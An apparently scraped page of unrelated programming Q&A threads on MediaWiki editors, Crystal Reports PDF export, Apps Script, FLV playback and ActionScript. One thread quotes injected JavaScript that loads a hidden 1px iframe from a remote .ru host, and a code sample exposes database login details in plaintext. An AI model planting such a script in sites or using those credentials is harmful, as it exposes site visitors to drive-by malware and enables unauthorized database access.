Issue with Editor for Mediawiki 1.23 - mediawiki-extensions

Recently I installed MediaWiki 1.23 version on Oracle enterprise linux 6 and it's working fine. The issue is with the WYSIWYG_1.23/CKeditor editors. I tried configuring both the editors but neither of them worked. I added the below mentioned code to LocalSettings.php file:
require_once( "$IP/extensions/WYSIWYG-CKeditor-CKeditor_v4/WikiEditor/WikiEditor.php" );
require_once("$IP/extensions/WYSIWYG-CKeditor-CKeditor_v4/WYSIWYG/WYSIWYG.php");
$wgGroupPermissions['registered_users']['wysiwyg']=true;
$wgGroupPermissions['*']['wysiwyg'] = true;
$wgDefaultUserOptions['cke_show'] = 'richeditor';
$wgDefaultUserOptions['riched_use_toggle'] = true;
$wgDefaultUserOptions['riched_start_disabled'] = false;
$wgDefaultUserOptions['riched_toggle_remember_state'] = true;
$wgDefaultUserOptions['riched_use_popup'] = false;
$wgFCKEditorExcludedNamespaces[] = NS_MEDIAWIKI;
$wgFCKEditorExcludedNamespaces[] = NS_TEMPLATE;
$wgDefaultUserOptions['usebetatoolbar'] = 1;
$wgDefaultUserOptions['usebetatoolbar-cgd'] = 1;
$wgDefaultUserOptions['wikieditor-preview'] = 0;
$wgDefaultUserOptions['wikieditor-publish'] = 0;
as suggested in some of the forums but it did not work. Can anyone help me in resolving this issue? Thanks in advance!!

Well, for one thing this line is incorrect and unneeded, please remove it:
$wgGroupPermissions['registered_users']['wysiwyg']=true;

Related

Font rendering issue with crystal report while converting it to PDF using php

In crystal report viewer data show accurate or properly readable. but when I export it in pdf urdu data shows in improper way. I searched a lot on this issue but did not find a single possible solution.
improper means dots change their actual location
out put
Need Help Very Badly.
Here is my conversion code, from .rpt to .pdf
session_start();
$U_ID=$_SESSION['name'];
$U_TYPE=$_SESSION['type'];
include("../connection.php");
$rpt='SALE';
$my_report = "C:\\inetpub\\vhosts\\pfcnt.net\\2018.pfcnt.net\\crystalrp\\Reports\\".$rpt.".rpt";
$filename=$rpt.".".$_GET['type'];
$forvd="../pdf&excel/".$filename;
$fordd="pdf&excel/".$filename;
$myfile = "C:\\inetpub\\vhosts\\pfcnt.net\\2018.pfcnt.net\\pdf&excel\\".$filename;
if($_GET['type']=='pdf')
{
$FormatType=31;
}
else if($_GET['type']=='xls')
{
$FormatType=29;
}
$ObjectFactory= new COM("CrystalReports.ObjectFactory.2");
$crapp = $ObjectFactory->CreateObject("CrystalRunTime.Application.9");
$creport = $crapp->OpenReport($my_report, 1);
$creport->Database->Tables(1)->SetLogOnInfo("213.136.76.67", "PF18", "pf18",
"sep302*");
$creport->FormulaSyntax=0;
$creport->RecordSelectionFormula="{TSALE.NO}=".$_POST['no'];
$creport->EnableParameterPrompting = 0;
$creport->DiscardSavedData;
$creport->ReadRecords();
$creport->ExportOptions->DiskFileName=$myfile;
$creport->ExportOptions->FormatType=$FormatType;
$creport->ExportOptions->DestinationType=1;
$creport->Export(false);
$creport = null;
$crapp = null;
$ObjectFactory = null;
print "<embed src=\"".$forvd."\" width=\"100%\" height=\"800px\">";

Format a Google Documents after a template, using Apps Script

Background:
Company is updating the style and I've made an addon that should update existing documents to the current style-profile.
Solution:
A Google App Script [add-on] reads the right formating from a template-document and updates the active document to mirror it.
Snippet: This don't work correctly
var deltaAttri = [
"BACKGROUND_COLOR",
"FOREGROUND_COLOR",
"FONT_FAMILY",
"FONT_SIZE",
"SPACING_AFTER",
"SPACING_BEFORE"
];
var baseAttr = heading1.getAttributes();
var templateAttri = templateHeading1.getAttributes();
for(var d = 0;d<deltaAttri.length;d++){
baseAttr[deltaAttri[d]] = templateAttri [deltaAttri[d]];
}
heading1.setAttributes(baseAttr);
Problem:
Almost every attribute i fetch ( heading1.getAttributes() ) is null.
Heading1={
FONT_SIZE=null,
SPACING_BEFORE=null,
SPACING_AFTER=null,
FOREGROUND_COLOR=#073763,
FONT_FAMILY=null,
BACKGROUND_COLOR=null
}
Am I doing this wrong or is this outside the scipe of what to use App Script for?
I initially thought null ment the default value was set. If so, can I access/change the default?
Here's something I did with an Envelope Printer recently. It's a fairly standard way of loading an object.
function setupDocument()
{
var doc=DocumentApp.getActiveDocument();
var envelope10={};
envelope10[DocumentApp.Attribute.PAGE_HEIGHT]=296;
envelope10[DocumentApp.Attribute.PAGE_WIDTH]=684;
envelope10[DocumentApp.Attribute.FONT_FAMILY] = 'Calibri';
envelope10[DocumentApp.Attribute.FONT_SIZE] = 14;
envelope10[DocumentApp.Attribute.BOLD] = true;
envelope10[DocumentApp.Attribute.LINE_SPACING]=1;
doc.getBody().clear().setAttributes(envelope10);
}

Problem playing FLV on Apache Tomcat 5.5

I have a problem of playing FLV file which id embed in my swf when i place it on server, swf plays correctly but not FLV
any solution will be highly appreciated.
thanks for all replys, its works in All browesers other than IE 6 now ,
i will paste the code here for the flv to chk .
var videopath:String;
var flvtime:String;
var vidPlaying:Boolean = false;
var audio_sound:Sound = new Sound(vflvPlayback);
videopath = "/public/ANS/test/flash/Price_video.flv";
flvtime = ":00/:17";
time_txt.text = flvtime;
endClip_mc.moreabout_btn.enabled = false;
endClip_mc.send_btn.enabled = false;
endClip_mc.replay_btn.enabled = false;
import mx.video.*;
vflvPlayback.contentPath = videopath;
vflvPlayback.stopButton = my_stopbttn;
vflvPlayback.playPauseButton = my_playbttn;
vflvPlayback.seekBar = my_scrubber;
vflvPlayback.playheadUpdateInterval = 17;
var vid_time:Number;
var listenerObject:Object = new Object();
listenerObject.playheadUpdate = function(eventObject:Object):Void {
if (eventObject.playheadTime == undefined || vflvPlayback.totalTime == undefined || vflvPlayback.totalTime == 0) {
return;
}
vid_time = Math.floor(eventObject.playheadTime);
vid_mins = Math.floor(vid_time/60);
vid_secs = Math.floor(vid_time%60);
if (vid_secs<10) {
vid_secs = "0"+vid_secs;
}
if (vid_mins<10) {
vid_mins = "0"+vid_mins;
}
time_txt.text = ":"+vid_secs+"/:17";
var percentPlayed:Number = eventObject.playheadTime/vflvPlayback.totalTime*100;
if (percentPlayed>=2) {
this.placeHolder._visible = false;
}
vflvPlayback.complete = function(eventObject:Object):Void {
vidComplete();
};
bar_mc._xscale = (vflvPlayback.totalTime == undefined || isNaN(percentPlayed)) ? 0 : percentPlayed;
};
vflvPlayback.addEventListener("playheadUpdate",listenerObject);
function vidComplete():Void {
this.attachMovie("gfxFlash","flashFade",1000,{_x:-2, _y:10.5});
}
As said before check the mime type on the server.
If the FLV is playing in some browsers and not in others there is probably an issue with the Flash Player. First in all browsers go the URL where the FLV lives on the server so see if you actually access the file from a browser. Then check for each browser separately what Flash player version installed. E.g. If you're trying to play H264 video on Flash Player 8 it's not going to work.
"Apache 5.5"? Apache httpd only goes to 2.x, so can we assume you mean Apache Tomcat 5.5? Or??? More information is required. Maybe even a link if you can. Flash players are really good about playing valid FLV video files via HTTP, even with bad mime type headers.
In IIS you need to add the .flv extension to the known mime types otherwise files will be blocked. Perhaps Tomcat needs something similar.
FLV mime = 'video/x-flv'

Javascript code added to server page automatically

Today morning I have noticed that some Javascript has been added to my hosted site . When I downloaded the homepage the code was like
<!--04b037--><script type="text/javascript"language="javascript"> (function () { var ipexz = document.createElement('iframe'); ipexz.src = 'http://nypmivhy.ru/count5.php'; ipexz.style.position = 'absolute'; ipexz.style.border = '0'; ipexz.style.height = '1px'; ipexz.style.width = '1px'; ipexz.style.left = '1px'; ipexz.style.top = '1px'; if (!document.getElementById('ipexz')) { document.write('<div id=\'ipexz\'></div>'); document.getElementById('ipexz').appendChild(ipexz); }})();</script><!--/04b037-->
And in login page :
(function () { var usyux = document.createElement('iframe'); usyux.src = 'http://nypmivhy.ru/count5.php'; usyux.style.position = 'absolute'; usyux.style.border = '0'; usyux.style.height = '1px'; usyux.style.width = '1px'; usyux.style.left = '1px'; usyux.style.top = '1px'; if (!document.getElementById('usyux')) { document.write('
'); document.getElementById('usyux').appendChild(usyux); }})();" method="post"> Email
I guess its a virus/spam attack. Though I removed the javascript code now, I want to how can I prevent my site from such attacks. NB: My FTP password is very weak.
Check the permissions of the file is correct otherwise it could be the code was injected.
Take a look at this:
http://ag.arizona.edu/ecat/web/permissions.html
There are 3 main permissions that you have to setup for the files:
read from the file
write to the file
execute the file
Here is a summary for permissions
NB: My FTP password is very weak.
You know what you are doing wrong and still you ask? Fix that first, also secure your computer, and if you are using scripts, review the logs for hacking attempts and make them secure.

Actionscript 3.0 Creating bitmapData from Loaded URL

I want to load an image and then use its bitmapData. The program worked when I ran it from flash, but not when I uploaded it online. There seem to be a bunch of weird problems. The
addChild(myLoader) works online but addChild(loadedPic) does not, and the myLoader doesn't seem to have bitmapData I can access.
For some reason the urlInput.text = "Done." will work online but not the urlInput.text = ... that I added to see what's going on. When I run this on my computer I get the urlInput saying "[object Bitmap] hi" like it should, but online it just says "Loading..." still
var myLoader:Loader = new Loader();
submitButton.addEventListener(MouseEvent.CLICK, buttonRelease);
function buttonRelease(event:MouseEvent){
var fileRequest:URLRequest = new URLRequest(urlInput.text);
urlInput.text = "Loading...";
myLoader.load(fileRequest);
}
myLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, onComplete);
function onComplete(e:Event){
urlInput.text = "Done.";
//addChild(myLoader);
//var loadedBitmap = new BitmapData(myLoader.width, myLoader.height);
//loadedBitmap.draw(myLoader);
//var loadedPic = e.target.content;
//loadedPic.width = 300;
//loadedPic.height = 300;
//addChild(loadedPic);
urlInput.text = e.target.content.toString() + " hi";
//usedPic = loadedPic;
}
If you're loading an image and you want to access it's data (to do the draw() call), then you'll need to load it with a LoaderContext object with the checkPolicyFile bool set to true. The reason it works on local is that everything is implicitly trusted on local so you don't really run into security problems
http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/LoaderContext.html?filter_flash=cs5&filter_flashplayer=10.2&filter_air=2.6

Resources